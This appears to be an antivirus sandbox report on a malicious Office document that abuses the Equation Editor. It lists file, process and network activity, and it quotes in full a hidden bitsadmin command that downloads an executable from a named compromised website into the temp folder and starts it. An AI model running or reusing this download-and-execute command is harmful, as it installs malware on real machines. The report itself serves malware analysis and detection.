Technical Information
Malicious functions
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer Or /priority foreground https://www.gorontula.com/wp-admin/includes/_output45DBD60.exe %TEMP%\A.exe && start %TEMP%\A.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{362eac86-fc97-4205-88ff-b01bc3a8613a}.tmp
Network activity
Connects to
- 'go###tula.com':443
UDP
- DNS ASK go###tula.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer Or /priority foreground https://www.gorontula.com/wp-admin/includes/_output45DBD60.exe %TEMP%\A.exe && start %TEMP%\A.exe' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer Or /priority foreground https://www.gorontula.com/wp-admin/includes/_output45DBD60.exe %TEMP%\A.exe
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
